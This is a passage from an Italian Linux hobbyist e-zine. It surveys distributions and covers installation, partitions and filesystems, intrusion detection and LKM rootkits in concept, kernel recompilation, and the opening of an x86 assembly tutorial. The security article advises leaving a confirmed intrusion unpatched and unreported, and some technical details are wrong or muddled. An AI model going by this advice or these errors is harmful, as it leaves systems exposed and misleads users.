installati e configurati. Questa distro non include moltissimo software, poichè la scelta è stata quella di puntare principalmente sulla qualità del software e non sulla quantità. - easyLinux - www.easylinux.com Come già si può intuire dal nome stesso, è una distribuzione semplice da usare e configurare nel giro di pochi minuti; sono presenti numerosi tool di sistema. Anche qui l'uso non è adatto a un utente professionale. - Madeinlinux - www.madeinlinux.it E' una delle novità del panorama linux: la sua presentazione è avvenuta in occasione di Smau2000. E' completamente in italiano e secondo i suo creatori, "Madeinlinux" è "Linux in italiano". Non si tratta quindi di una distro tradotta in italiano, ma di una vera e propria distribuzione completamente italiana, concepita per essere usata da utenti italiani. I destinatari di questa distro sono i nuovi utenti ma anche gli amministratori di sistema, poichè è stata progettata per essere usata da chiunque. - WinLinux - www.winlinux.net WinLinux si differenzia dalle altre distribuzioni per avere una caratteristica non comune: funziona 'su Windows'. Spiegando a tutti voi meglio il concetto, essa non dev'essere installata su un hard disk o su una partizione in cui non avete Windows 95/98/2000/NT/ME/XP che gira, ma viene installata come una qualsiasi applicazione (programma, gioco o quel che sia...) in formato EXE. Se non ricordo male occupa appena 500 MB ma non ne sono sicuro. Come capirete è una distribuzione adatta a nuovi utenti, anche se spesso si verificano problemi nella rilevazione dell'hardware e il software e il kernel è datato. - Le Minidistribuzioni - Cosa sono? Non sono altro che delle distribuzioni linux che occupano pochi megabyte, se non addirittura possono tranquillamente stare in un floppy. Qual'è l'utilità di queste distro? Beh, in effetti molti le criticano ma a mio parere, in molti casi, si possono rivelare molto utili! Pensate solo che alcune di esse, avendo a disposizione poco software e pochi servizi vengono addirittura usate su server che a loro volta vengono considerati super-sicuri. Inoltre, anche se sono molto limitate rispetto ad altre famose distro come Red Hat o Mandrake, hanno la gran bella caratteristica di stare tranquillamente, come già detto in un floppy e volete dirmi che questo non vi fa venire in mente niente? Eheh.. Devo dirvi tutto io? Pensate che bello sarebbe portarsi sempre dietro una bella distro linux con cui si può smanettare nei momenti più cazzuti della giornata: ad esempio a scuola, quando fate informatica e finite il lavoro un'ora prima degli altri! ;-) Va beh, osserviamo alcune di queste minidistribuzioni, tra le più conosciute ed usate: - Astaro www.astaro.com E' una minidistribuzione rivolta alla sicurezza di rete. Contiene solo programmi sicuri e vengono utilizzati per server protetti con un buon livello di sicurezza. - MuLinux mulinux.nevalabs.org sunsite.dk/mulinux E' una distro tutta italiana (buon motivo per provarla... ;)) e perfettamente funzionante. Può stare tranquillamente su due floppy se non si usa la parte grafica (X11). E' ottima per fare diagnostica e smanettare su una rete senza dover installare nulla dal dal computer in cui si lavora. Però non è specializzata per la rete, anche se contiene tutti i pacchetti standart di una distro e vari programmi d'utilità. - Tomsrtbt www.toms.net/rb Può essere usata per far girare, anche se un vecchio 486, un router. - Trinux www.trinux.org E' un'altra minidistribuzione specializzata nella sicurezza e, ovviamente, è rivolta quindi alla rete. Contiene tutti i pacchetti per testare una rete. - Trustix www.trustix.com Altra distro rivolta alla sicurezza di rete. Anche questa, come Astaro, contiene solo programmi sicuri e arriva ad un buon livello di sicurezza. Manca, però, la parte grafica. - Altre distribuzioni - Per chi non è ancora contento della descrizione di tutte le distro descritte fino ad ora, vi riporto qui sotto una serie di altre distribuzioni con relativo links. Arm Linux www.arm.uk.linux.org/ ser BestLinux www.bestlinux.net ConectivaLinux www.en.conectiva.com Coyote Linux www.vortech.net/coyote DragonLinux www.dragonlinux.net e-smith www.e-smith.org Extreme Linux www.extremelinux.org Immunix www.immunix.net Libra www.libranet.com Linux Antarctica www.linuxantarctica.com Linux Ppc www.linuxppc.org Linux Pro www.wgs.com LinuxOne www.linuxone.net LuteLinux www.lutelinux.com MkLinux www.mklinux.org Monkey Linux www.spsselib.hiedu.cz/monkey Peanut Linux metalab.unc.edu/peanut Redmond Linux www.redmondlinux.org Rock Linux www.rocklinux.org Stampede www.stampede.org Stormix Linux www.stormix.org TurboLinux www.turbolinux.com Yellow Dog Linux www.yellowdoglinux.com - Conclusioni - Ecco ragazzi, queste sono tutte le distro che sono riuscito a scovare in giro per la rete. Chi ne conosce altre, beh, non mi dispiace se me lo segnalasse per mail. ;) E chiunque voglia contattarmi per domande o chiarimenti io sono sempre disponibile alla casella di posta teo1987@libero.it. Byez all |-------------------------------------------| |Art. N° <13> : "L'installazione" di Elektro| |-------------------------------------------| L'installazione di sistemi Linux sui vostri PC che avete in casa non è affatto complicata. Anzi, direi proprio che potrei fare a meno di scrivere quest'articolo sull'installazione di Linux, anche se lo scrivo per chiarire alcuni semplici concetti con cui altrimenti potreste avere difficoltà in futuro (come ad esempio il partizionamento del disco). In genere se comprate una distro in un buon negozio o la prendete da una rivista tipo Linux & C (ma anche Linux, Linux Mania, Linux Magazine o Linux Facile) avrete sempre a disposizione un bel po' di documentazione e se la leggete non dovreste avere problemi con l'installazione. Io, con questo articolo tenterò di spiegarvi tutto al meglio delle mie possibilità anche se l'installazione varia sempre da distro a distro: io con la SuSE e con il suo tool grafico d'installazione Yast2 mi sono trovato molto bene e non ho avuto difficoltà. Lo stesso discorso vale per Mandrake che ha anche quella un ottimo tool grafico che vi 'assiste' durante l'installazione e non dovreste avere problemi di nessun tipo. Certo che poi se vi mettete ad installare la Slackware senza aver mai provato Linux, allora il discorso cambia... In questo articolo quindi non tratterò ogni tool grafico d'installazione di ogni distro (non finirei mai... e poi io non mica provato tutte quelle distro...) ma cos'è una partizione e perchè linux ha bisogno di essa per girare, come effettuare una partizione e qualche consiglio sull'installazione di questo potente OS. Allora.. Avete Linux? Pronti per partire? Linux, essendo un sistema operativo e non un'applicazione, ha bisogno di una partizione interamente dedicata per girare e non di una semplice cartella. Questo avviene con tutte le distribuzioni di Linux, e anche con Unix ovviamente, tranne WinLinux, che è comunque una distro con delle caratteristiche particolari adatte ai NewBie. Perciò per installarlo avete tre scelte: - comperarvi un hard disk e installare Linux su di esso. Scelta consigliata, anche se purtroppo ciò può essere costoso. - controllare se sul vostro hard disk avete due partizioni. Se sì potete pure eliminare eventuali files residenti su una partizione, fare una copia di backup sulla partizione di Win e installare Linux sulla nuova partizione libera. - Effettuare il partizionamento del disco. Scelta che spesso viene sconsigliata ai NewBie, ma del resto se non lo fate non imparerete mai. ;-) Comunque sappiate che in questi casi c'è sempre il rischio di eventuali perdite di dati. Comunque in questo testo l'argomento verrà trattato e cercherò di essere il più specifico e semplice possibile. Nel primo caso penso non ci sia nulla da dire, andate in un negozio e vi comprate un bel HD nuovo, anche se un po' di fondi monetari se ne andranno dal vostro portafoglio. ;) Nel secondo caso, anche qui non c'è nulla da dire. Nel terzo caso è meglio spiegare il concetto di partizionamento del disco. Facciamo un esempio: noi abbiamo un HD da 20 GB con un'unica partizione occupata da Win. Allora noi possiamo crearci una seconda partizione, ad esempio da 10 GB che rimarrà vuota e pronta per l'installazione di Linux. I rimanenti 10 GB rimangono invece a Win. Ma come creare una partizione? Semplice con programmi come Partition Magic o FDisk. Entrambi sono molto conosciuti, il primo è forse il più usato e lo potete trovare sia sulla Rete che su note riviste d'informatica. Preferirei non addrentarmi più specificatamente nell'uso di questi due programmi, poichè in Rete esistono tutorial su di essi che sono molto più chiari e approfonditi di come potrei fare io in questo momento. A questo punto dovreste avere dello spazio libero sull'HD per continuare il vostro lavoro... Già, ma quanto spazio libero occorre? In genere anche qui c'è molta elasticità: per un linux testuale occorrono soli 150 MB anche se credo che per distro attuali possano bastare anche 3 GB per installare il sistema e un po' di software. Io però consiglio 10 GB: installerete il sistema, KDE, GNOME, altri desktop, molto software, i sorgenti e rimarrà ancora molto spazio per i vostri file e applicazioni che in futuro probabilmente installerete. Poi, però, penso che lo spazio da riservare a Linux dipende sempre e solo dalle vostre esigenze. Pronti per l'installazione? Si? Bene, allora potete quasi partire, prima però è preferibile che leggiate la prossima parte, in cui si parla dei filesystem, altrimenti durante l'installazione quando sentirete parlare di HDA e robe simili non saprete più dove sbattere la testa... ;-) Elektro. |----------------------------------------| |Art. N° <14> : "I FileSystem" di Elektro| |----------------------------------------| Ma cosa sono i file system in linux? Dovete sapere che in linux quando si parla di filesystem si indicano tutti i file che regolano l'uso delle pereferiche. Esse sono, riportate in una tabella, le seguenti: --------------------------------------------------------------- | Nome | Descrizione | Dos | --------------------------------------------------------------- | /dev/fd0 | prima unità a dischetti | A: | | /dev/fd0u1440 | prima unità a dischetti da 1440 Kbyte | A: | | /dev/fd1 | seconda unità a dischetti | B: | | /dev/fd1u1440 | seconda unità a dischetti da 1440 Kbyte| B: | | /dev/hda | primo disco fisso IDE/EIDE | C: | | /dev/hdb | secondo disco fisso (o CD-ROM) IDE/EIDE| | | /dev/hdc | terzo disco fisso (o CD-ROM) EIDE | | | /dev/hdd | quarto disco fisso (o CD-ROM) EIDE | | | /dev/sda | primo disco SCSI | | | /dev/sdb | secondo disco SCSI | | | /dev/sdc | terzo disco SCSI | | --------------------------------------------------------------- Tabella di Bakunin, presa dalla sua guida a linux che potete scaricare anche dal mio sito www.x-system.cjb.net. Inoltre, dovete sapere, che per accedere a una periferica, sia essa il driver del CD-Rom o del floppy come l'intero hard disk, dovete prima montarla. Ma questo verrà spiegato più avanti. Vi starete chiedendo cosa sono quelle 'hda' o 'hdb'. Ebbene, dovete sapere, che su linux i canali Ide vengono visti nel seguente modo: HDA Primary Master HDB Primary Slave HDC Secondary Master HDD Secondary Slave e le partizioni vengono chiamate hda1, hda2 ecc. Questi sono cosidetti device e risiedono tutti nella cartella /dev. Ma cos'è la / ? E' la 'radice', che non è altro che una directory, chiamata così poichè è la radice del sistema. Equivale, all'incirca, alla C:\ che si trova in sistemi Win. All'intero di essa, troviamo le seguenti directory: /home ---> Qui risiedono le cartelle di ogni utente che ha accesso nel sistema. Ad esempio nel mio sistema si trova una cartella di nome 'elektro' e all'interno risiedono tutti i miei documenti, file e programmi. /boot ---> In genere si trova l'immagine del kernel e i backup del LILO. /usr ---> risiedono tutti i binari della distro, i man e la documentazione. /lib ---> Librerie principali del sistema. /etc ---> File di configurazione del sistema. /mnt ---> Risiedono le cartelle per montare i dispositivi. /bin/sbin ---> Binari principali. /var ---> LogFile e altri file variabili come ad esempio la posta. /tmp ---> File Temporanei. /lost+found ---> Cluster persi /proc ---> File di sistema, momentanei e non. /root ---> La home directory dell'admin. Esiste poi, la Swap Partition, cioè una partizione di swap che solitamente deve essere il doppio della Ram. Comunque in genere, quando avviene l'installazione, linux crea tre partizioni: / --> la radice, dove risiede tutto, o quasi. ;) Swap Partition --> dove risiede la swap /boot --> si trova l'immagine del kernel e i backup del LILO. Poi, opzionalmente si può creare una quarta partizione, dove risiedono tutte le cartelle degli utenti, la /home. Questo limita la perdita di file e documenti personali nel caso di problemi nel sistema o di un'eventuale formattazione. Ora siete pronti per avviare l'installazione. ;) Elektro. |-------------------------------------------------------| |Art. N° <15> : "Sicurezza nei sistemi Linux" di BbOyIcE| |-------------------------------------------------------| _______________________DISCLAMER______________________________ |Questo testo è stato scritto all'unico scopo informativo, | |quindi l'autore e i membri della crew non si assumono nessuna | |responsabilità sull'uso che ne può derivare dalla lettura di | |questo txt. | |______________________________________________________________| SICUREZZA NEI SISTEMI LINUX Autore: BbOyIcE Mailto: bboyice@katamail.com Bene...rieccoci in carregiata!Era già qualke mesetto ke non scrivevo più un articolo! Oggi parlerò della sicurezza in generale nei sistemi Linux, trattando in particolare da distribuzione RedHat, ovvero quella che io uso particolarmente. DISCLAIMER: TUTTO IL MATERIALE RIPORTATO IN QUESTO ARTICOLO E' DA RITENERSI SOLO A SCOPO INFORMATIVO PER I LINUXIANI E SYSADMIN CHE INTENDANO RISANARE E RIPORTARE IN CARREGIATA I PROPRI SISTEMI E I PROPRI SERVER. Allora...la sicurezza in generale è sempre stato un argomento molto trattato ma anche molto temuto da tutti, specialmente nel campo informatico. Precisando che non esiste, a parità di riscontri effettuati da me e da altre persone (sono statistiche ufficiali), un server o un sistema operativo che non abbia falle di sicurezza, al giorni d'oggi si opta a cercare di mettere su un sistema del genere.Impossibile sarebbe la parola che mi viene prima in mente, ma difficilissimo credo sia quella più appropriata in quanto nulla è impossibile, ma per ottenere certi risultati ci vuole un buon lavoro e ben fatto. Cominciamo a parlare della psicologia di un attaccamte. Un attacker può decidere di introdursi in un sistema per puro divertimento, questo indica una instabilità mentale, perchè rischia senza che ci siamotivo. Un altro possibile caso potrebbe essere quello della conoscenza, del sapere, cioè quello ke ci spinge a pensare che la persona che si è introdotta nel nostro sistema stia sperimentando (per sfortuna su di noi) e dovrebbe essere innocuo. Questo, in gergo viene definito hacker da molte persone anke se si sa che l'hacker è ben altro,almeno per chi la pensa ocme me. Invece una persona che si introduce nel nostro sistema e ruba passwd, cancella file, danneggia moduli etc...possiamo benissimo definirlo cracker. Poi c'è la gente che buca sistemi per rivendicarsi, per politica, per spionaggio industriale...ma questi sono altri aspetti per lo più personale che non citerò in quanto in generale la gente conosce gli hacker ed i cracker. Linux, come si sa, è uno dei sistemi operativi preferiti dagli amministratori di sistema,in quanto è uno dei sistemi più stabili e che ci offre tutti i servizi di rete di cuinoi abbiamo bisogno. Quindi...più grande è un sistema, più servizi offre e più possibilità ci sono che ci siano falle nel sistema in quanto controllare tutto diviene sempre più difficile. Però noi ci chiederemo: come facciamo a sapere se abbiamo o no subito un'intrusione? Beh...ci sono molti modi per determinarlo. Per prima cosa basta notare dei piccoli sospetti nel sistema come trovare nuovi Account o Account modificati nel file /etc/passwd, modifiche di configurazione nel tcpd(8), nelle rules di ipchains(8),netfilter(8). Ci sono casi in cui l'attacker lo comunica sia pubblicamente che privatamente a noi. Oppure basti notare dei core dump, crash o modifiche periodiche che a noi sembrano strane. Tutti questi acorgimenti fanno si che ci si insospettisca sempre di più. A questo punto per avere la certezza noi abbiamo un potenziale elemento a disposizione: il LOG. Per chi non lo sapesse i file di di LOG, spesso con estensione .log o .txt sono file che registrano determinate azioni sul sistema. Per esempio i LOG delle mail iviate lo troveremo il maillog. Qui saranno memorizzate tutte le e-mail inviate, ricevute, mittente,destinatario e molto altro. Inoltre controlliamo se siano stati tentativi ripetuti di password per su(1), errori di lancio di demoni etc..!Dobbiamo quindi controllare i binari con i bit SUID e SGID settati che potrebbero contenere delle istanze di shell con bit di permesso a root, o programmi bacatiche potrebbero permettere successivi permessi di root mediante exploit. Ma un attacker può tranquilamente cancellare o modificare i log. Quindi noi ci chiederemo come sapere chi è stato se i log sono cancellati!! Allora...c'è una funzione da attribuire con il comando chattr(1) che attribuisce al log la funzione "append-only". Questa funzione fa si che i log non possano essere cancellati ma che vadino ad aumentare di volta in volta; quindi l'unica persona che potrebbe modificarli è root, ma se l'attacker assuma potere di root?potrebbe modificarli a suo piacimento! Quindi dovremmo levare questa possibilità anke a root modificando i flag +a e +i die log. Nella versione 2.0.x del kernel è possibile ottenere tale livello modificando "int securelevel" nel file "~linux/kern/sched.c" mettendo il valore 1 al posto di 0 .Nelle versioni dal 2.2.x al 2.4.x invece mediante l'uso di "libcap" e delle "POSIX Capabilitiers" che non sto qui a spiegare. Possibili e frequesnti bersagli sono "login", "su", "telnet", "netstat", "inetd", "ls", "find", "top" etc...! E' molto prudente usare una copia da un medium originale e sicuro, in modo da poi confrontarlo a differenze di grandezza di memoria o configurazioni diverse, nonchè confrontandolo agli "hash criptografici". Per favorire tutto ciò possiamo ricorrere ad una utility chiamata Tripwire per valutare differenze di hash tra un database sicuro e i binari istallati, usando una unità protetta, magari di sola lettura sperando che non siano "redirottare" le chiamate le chiamate di sistema da un da un "Bad LKM" ovvero un modulo kernel maligno. Un'altra paura è quella degli LKM. Un attacco via LKM potrebbe essere potenzialmente dannoso per il nostro sistema, per non dire addirittura fatale. I loadable Kernel Module, ovvero i moduli del Kernel possono essere un ottimo strumento nelle mani di un serio attaccante che abbia privilegi di Superutente! Immaginiamo di avere al posto del vecchio indirizzo nell'array "sys_call_table" uno nuovo che punta a filtrare i parametri delle chiamate C o addirittura di modificare i dati che tornano in zona utente. In questo modo il SysAdmin non vedrà nulla e non si accorgerà di niente, almeno questo sembra sia essere lo scopo dell'attaccante. Bhe...noi ci chiederemo come possa accadere tutto ciò, ma c'è da dire che i privilegi di Root nei sistemi Unix Like sono onnipotenti, specialmente in zona kernel ove non c'è nessun ostacolo che ci impedisca di compilare degli LKM. Comunque sia ricordiamo che basta avere una copia protetta da scrittura per poi confrontare e trovare dismisure di grandezza o altre modifiche. Ma... mettiamo caso che l'attaccante abbia avuto il tempo e la voglia di patchare i sorgenti di una versione del kernel uguale alla nostra, abbia fatto una copia per soddisfare le medesime dipendenze, ed abbia aggiunto codice direttamente al kernel?? Noi non ci potremmo accorgere di nulla perchè non ci saranno moduli che compaiono e scompaiono dagli Output di "lsmod" e "/proc/modules" e non ci saranno ne anche moduli di dimensioni più o meno grande quindi inutile confrontarli! Bhe...in questo caso l'unica cosa che può venirci in aiuto è il dimenticato file "System.map" ke ci riporta tutti i simboli del kernel, cioè tutti gli indirizzi di memoria delle varie funzioni, strutture e dati. In questo caso basterebbe averne una copia messa al sicuro e protetta da scrittura per poi confrontarla in caso di sospetti! Tramite il comando "ksyms" possiamo confrontare le configurazioni e in caso i due indirizzi fossero diversi e nonc ombaciassero scatterebbe in allarme (ammesso che il file System.map sia riferente all'ultimo kernelcompilato). Concludendo abbiamo capito ke un baco tira l'altro e che nella rete niente è sicuro! Consiglio: Dopo aver ricevuto un attacco di cui siete certi, non denunciate, ne patchate, ma attendete...perchè spesso e volentieri l'attacker torna nel sistema in precedenza bucato. Cosi potrete capire meglio a cosa sta mirando l'attaccante e magari riuscire a patchare meglio il sistema. Approposito...è buona norma: 1) Fare sempre un backup per poi confrontare in caso di sospetti. 2) Cambiare le password dopo averle ricontrollate ed optare a password complesse composte da lettere e numeri. 3)Modificare le configurazioni dei file "/etc/host.deny" ed "/etc/host.allow" (almeno credo siano esatti). 4) Chiudere i servizi inutili a voi tipo finger (se vi serve lasciatelo), eliminando anche i binari. 5)Installareun firewall (ipchains) 6)Istallare Tripwire Questi sei norme faranno si che il vostro livello di sicurezza sia leggermente più alto, ma non vi aspettate chissà che...tutto sta alla scaltrezza del SysAdmin e dell'attacker e anche nel saper gestire e configurare determinati servizi. Per adesso è tutto...vi rimando al prossimo articolo! - Thank's to: Linux & C. and #oltrelinux - ---------------------------------------------BbOyIcE------------------------------------ |-------------------------------------------------------| |Art. N° <16> : "Come ricompilarsi il kernel" di Dominus| |-------------------------------------------------------| # Come ricompilarsi il kernel # # # # By Dominus # # # # Sire ulr: www.dsk-crew.cjb.net # ######################################################### Prima di tutto ciao a tutti dal vostro amico "o nemico" Dominus d:)........................ Ho visto che ultimamente tutti questi novellini si danno da fare con linux,e si chiedono ma come si ricompila il kernel?? è facile o difficile??? eheee non è difficile per chi lo sa fare come in tutte le cose :),ora veniamo a noi,scrivo questo tutorial per farvi imparare i comandi da usare,non scrivo tutte le opzioni che potete attivare,come sapete in ogni distribuzione linux mettono un kernel base,se noi vogliamo aggiornarlo o personalizzarlo allora state leggendo il giusto tutorial :) ----ora si comincia------- Mettiamo il caso che il vostro linux monti il kernel 2.2.17 e volete ricompilarlo magari metterci il 2.2.18 ecco le cose che dovete fare..... prima di tutto scaricatevi la versione del kernel che volete da qui http://www.linuxhq.com ....... ora andiamo a vedere quali comandi usare per installarlo..... (nota: Tutto può andare a buon fine o pure no,dipende dagli errori che potete fare,appena finita la ricompilazione i casi sono 2 |1 vi compare un bel FAILED e allora avrete sbaglito qualcosa ed è andato tutto a puttane |2 si carica perfettamente e allora andate a comprare una bella torta e festeggiate eheehhe ;) ) Prima di tutto bisogna compilare i sorgenti in questo modo: cd /usr/src (la dir dei sorgenti) rm linux (rimuoviamo il link simbolico) mkdir linux-2.2.18 (Adesso creiamo la dir in cui copieremo il nostro kernel) ln -s linux-2.2.18 (creiamo il link alla dir del kernel) tar xzvf /percorso/linux-2.2.18.tar.gz ./ (cambiate il percorso a seconda di dove avete il kernel) rm -rf linux-2.2.1X* (il kernel vecchio) *=Varia a seconda del vecchio kernel cd linux Con questo il nostro kernel è installato adesso non ci rimane che configurarlo... Andate nella directory del nuovo kernel (da un terminale) e scrivete "make xconfig"Adesso eseguira dei comandi in automatico e si aprirà un form con tanti bottoni che corrispondono a diverse impostazioni quindi cominciate dal primo e man mano che finite una parte clikkate sul bottone "NEXT" in basso al centro per andare automaticamente avanti. Per ogni opzione si presenta con N m Y,tutto è abbastanza intuitivo da capire se dovrei scrivere tutte le impostazioni starei 1 mese qui a scrivere e poi se state compilando il kernel credo che un po di conoscenza già l'avete,se siete proprio a zero allora aspettate un po prima di ricompilarlo.Ora con questo stiamo solo configurando dei file txt ora arriva la compilazione vera e propria :),appena finito uscite e salvate tutto nella stessa directory dove avete scritto "make xconfig",make dep make clean make bzImage (occhio alla maiuscola) (ricordate sempre che linux è a case-sensitive?)make modules make modules_install Appena terminate tutti i comandi prendete il file System.map sempre nella stessa cartella e copiatelo su /boot/ quindi sempre dalla directory lanciate "cp System.map /boot/" Adesso e necessario aggiornare lilo: (usate lilo e non grub) { /etc/lilo.conf } basta che seguite le scritte riportate nel vostro lilo.conf poi interpretarli è facile. image=/boot/my_kernel label=my_kernel root=/dev/hda7 append=" mem=160M hdc=ide-scsi ide1=autotune ide0=autotune" vga=788 read-only Adesso aggiorniamo il mbr scrivendo "lilo" ora dobbiamo riavviare il linux perche ha bisogno di un reboot riavviate e controllate la fase di caricamento se vi da qualche failed rimodificate il kernel nella voce del failed e ricompilate il tutto,se invece ci va tutto perfettamente allora ce l'avete fatta!!!!! grandi! Ora ho finito che ne pensate????? vi sembrava + facile o + difficile??? heheee se avete dubbi per qualsiasi cosa nel sito abbiamo un bel forum basta scrivere la vostra domanda e o io o un altro vi risponderà sicuramente per come abbiamo sempre fatto,ciao a tutti alla prossima!! POSTED BY DOMINUS DSKCREW ="WWW.DSK-CREW.CJB.NET" ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|-----------------------------|1ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| P R O G R A M M A Z I O N E |0%101ð0101|010:10&101 01*010&101µ01þ010@10101½|-----------------------------|0°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ |-------------------------------------------------------------| |Art. N° <17> : "Assembly? No grazie, non fumo! vol. 1" di e4m| |-------------------------------------------------------------| [nAmE:] - Assembly..? No grazie! Non fumo! - [aUth0r:] -Written by e4m - [MaIL:] - Personal: Tezkatlipoka@libero.it [W0rK:] - Crypto@sikurezza.org - [cReW:] - Www.bfc.too.it ; On irc.azzurranet.org:6667 #bfc - [gReaTz:] - Libro Architettura I - ; t0qIhNo ; #Crack-it ; #Asm +--------------------------------------------------------------------------------------------------------------------------------------------------+ |Visualizzando questo testo con il carattereb 'Terminal' , '9' avrai la possibilita' di visualizzare correttamente tutti gli esempi ed il layout! | +--------------------------------------------------------------------------------------------------------------------------------------------------+ +---------------------+ | [sEZIONi tESTo] | +---------------------+ | Assembly? No grazie!| | Non fumo! | +---------------------+ | Volume I | +---------------------+ |*iNTRODUZIONe aSm | |*rEGISTRi | |*sEGMENTi e oFFSETs | |*sTACk | |*iSTRUZIONi aSm | |*hELLo wORd-cOMPILa. | |*iSTRUZIONI vARIe | |*iNTRo aLLe prOCEDure| +---------------------+ | Volume II | +---------------------+ |*mACRo | |*iNtRo aL LinUx AsM | |*fINe | +---------------------+ -----------[ INTRODUZIONE ASM ]----------------------------------------------------------------------------------------------------------------------- Salve e ben ritrovati! Vorrei fare una piccola introduzione al testo. Prima di tutto mi piace usare l'ironia per rappresentare qualsiasi tute testo o spiegazione, infatti questo testo " Assembly..? No grazie! Non fumo " e' logicamente molto scherzoso! Assembler e' un linguaggio che tutti sognano di imparare! almeno paragonano questo linguaggio a quello degli "hacker"..non ho capito perche'! E' anche vero che e' "Universale",tramite l'asm puoi comunicare con la tua macchina in modo veloce e flessibile! Ad esempio parlare con un cinese attraverso un traduttore risulta molto piu lungo e faticoso che parlare con un italiano! Il linguaggio della macchina e' l'asm , e noi cercheremo di impararlo partendoi da 0 :) .. Sara' una faticaccia ma vi speghero' quelle poche cose che so'! Quella che affronteremo sara' la famiglia 80x06 e' nata nel 1981 con il processore 8086 e prosegue attualmente con la linea Pentium. Cio' che accomuna tutti questi processori e' che sono tutti compatibili all'indietro, ma ciascuna nuova generazione ha aggiunto via via nuove caratteristiche e maggior potenza di calcolo rispetto ai suoi predecessori. Quindi 8088, 8086, 286, 386 o 486 sono ormai scomparsi perche' lenti e superati. Oggi Pentium MMX, Pentium II e il III sono i piu utilizzati! Prima di cominciare a parlare d'asm analizzeremo il modo come i numeri sono rappresentati all'interno della CPU. Anate di fretta? Bhe con la fretta non si risolve nulla! Mi ci e' voluto tempo (fin troppo) per capuire come funziona questo linguaggio) non essendo troppo facile! (Fatta questa premessina iniziamo!). I numero sono rappresentati in notazione binaria, ovvero in base 2. Quindi esistono numeri di diversa simensione: 1BIT:0 ;e' semplice assume valore di 1 o 0 Un nibble e' quattro bit o mezzo byte .( Che gioco di parole=) Esso e' la base della notazione esadecimale (base 16), che viene utilizzata per rappresentare i numeri nei programmi Assembly. I esadecimali vengono rappresentati con un suffisso "h" per indicare che il numero e' espresso in questa notazione. Vanno da 1 a F. Ad esempio: Fh = 15 decimale. I numeri esadecimali che cominciano con una lettera sono preceduti da uno 0 . 1 BYTE 00000000 2 NIBBLES 8 BITS Un byte e' 8 bit o 2 nibble. Un byte ha un valore massimo di FFh (255 decimale). Un byte e' anche la dimensione dei registri a 8-bit. Una word e' costituita invece, da due byte affiancati. Una word puo' assumere un valore massimo di FFFFh (65536). una word e' composta da quattro nibble, è rappresentata da quattro cifre esadecimali . E' la dimensione dei registi a 16-bit..Infatti: 1 WORD 0000000000000000 (16 zero=16bit) 2 BYTES 4 NIBBLES 16 BITS ------------[ REGISTRI ]------------------------------------------------------------------------------------------------------------------------------ Quindi conoscendo i numeri dobbiamo conoscere i registri che sono locazioni di memoria all'interno della CPU dove un numero puo' essere memorizzato e manipolato! Esistono 8-bit, 16-bit (come abbiam gia visto=) , dal 386 in poi vi sono i 32-bit! Vi sono quattro differenti tipi di registri: registri general-purpose, registri di segmento, registri indice e registri di stack. Quelli di stack e di segmento, sono un po' particolari, li vedremo in seguito! Registri General-Purpose 15 7 0 +--------+ |AH | AL| AX |BH | BL| BX |CH | CL| CX |DH | DL| DX +--------+ Vi sono quattro registri general-purpose: AX, BX, CX, DX. (Sono registri a 16-bit.) Sono suddivisi in registri a 8-bit. AX e' suddiviso in AH, che contiene il byte alto e AL che contiene il byte basso. Con il processore 386 e superiori vi sono anche registri a 32-bit. Questi hanno gli stessi nomi dei registri a 16-bit ma con una E come prefisso (es EAX). Si possono utilizzare AL, AH, AX ed EAX separatamente e considerare come registri separati per alcune oprazioni. Se AX contenesse 24689 decimal: AH AL 01100000 01110001 AH varrebbe 96 e AL varrebbe 113. Se aggiungessimo 1 ad AL, questo varrebbe 114 e AH rimarrebbe invariato . SI, DI, SP e BP possono essere utilizzati come registri general-purpose, ma hanno usi piu' specifici. Questi non sono suddivisi in due meta'. -Registri di Stack Son BP e SP Li vedremo in seguito. Si usano quando si ha a che fare con lo stack! --------------- -Registri Indice Sono a 16bit (registri puntatore).Si utilizzano con le istruzioini che operano con le stringhe di caratteri. Vi sono tre registri indice: SI (source index), DI (destination index) e IP (instruction pointer). Come registro indice per le stringhe si può usare anche il registro BX. IP e' un registro indice ma non puo' essere manipolato direttamente poiche' contiene l'indirizzo dell'istruzione successiva durante l'esecuzione. --------------[ SEGMENTI E OFFSETS ]------------------------------------------------------------------------------------------------------------------- I registri hanno solo 16 bit,il problema e' che per indirizzare un intero megabyte sono necessari almeno 20 bit. Cosi' sono nati i segmenti e gli Offsets. Ci permettono l'indirizzamento con due registri, ma senza utilizzare 32 bit (esagerato per chiunque). OFFSET = SEGMENT * 16 SEGMENT = OFFSET / 16 Un registro contiene il segmento e un altro registro contiene l'offset. Unendo insieme i due registri si ottiene un indirizzo a 20-bit. Questi progettisti erano ingegnosi!! ehh?? ;) SEGMENT 0010010000010000---- OFFSET ----0100100000100010 20-bit Address 00101000100100100010 DS contiene il segmento e SI contiene l'offset. (Da ricordare!!) Poiche' entrambi hanno dimensione 16-bit gli indirizzi si accavallano. DS:SI e' come mostrato nell'esempio una coppia di qujesti indirizzi per giungere a 20bit! Notazione standard per una coppia Segmento/Offset e' SEGMENT:OFFSET. ( da ricordate anch'esso). I registri di segmento sono CS, DS, ES, SS. Con il 386 e processori successivi esistono anche FS e GS. Analizzeremo quindi ora lo stack! --------------[ STACK ]-------------------------------------------------------------------------------------------------------------------------------- Esiste una speciale area di memoria, denominata stack, in cui possono essere salvati e recuperati i valori desiderati. Quest'area di memoria e' organizzata come una pila di piatti. L'ultimo che viene messo e' il primo ad essere prelevato. Questo tipo di organizzazione e' denominata Last On First Off (LOFO) oppure Last In First Out (LIFO). (Ma non so molto , anzi nulla :P) Vediamo se mi esce il disegnino: |Higt addresses | | +--------+ | ||DatA | |StaCk | pUsched| |GrOwS +--------+ <---(SP) sTAck PoInTeR | | | | | FreE | | | SpAcE | | | | | +--------+ <--- (SS) stAcK sEgMEnT | V Low addresses Via via che nuovi dati sono posti nello stack, questo cresce verso il basso. Come si vede dalla figura, lo stack ha inizio ad un indirizzo alto e cresce verso il basso. E' opportuno accertarsi di non mettere troppi dati nello stack, se non si vuole rischiare l'errore di stack overflow. (cOme e' solito che accada!!) Questo e' quanto so dello stack! L'esperienza mi ha portato ad approfondire un pokino pokino.. :) --------------[ iSTRUZIONI ASM ] ---------------------------------------------------------------------------------------------------------------------- Esistono moltissime istruzionui asm, quelle importantissime (da ricordare sono una ventina!) .La maggior parte delle istruzioni sono identificate da un codice 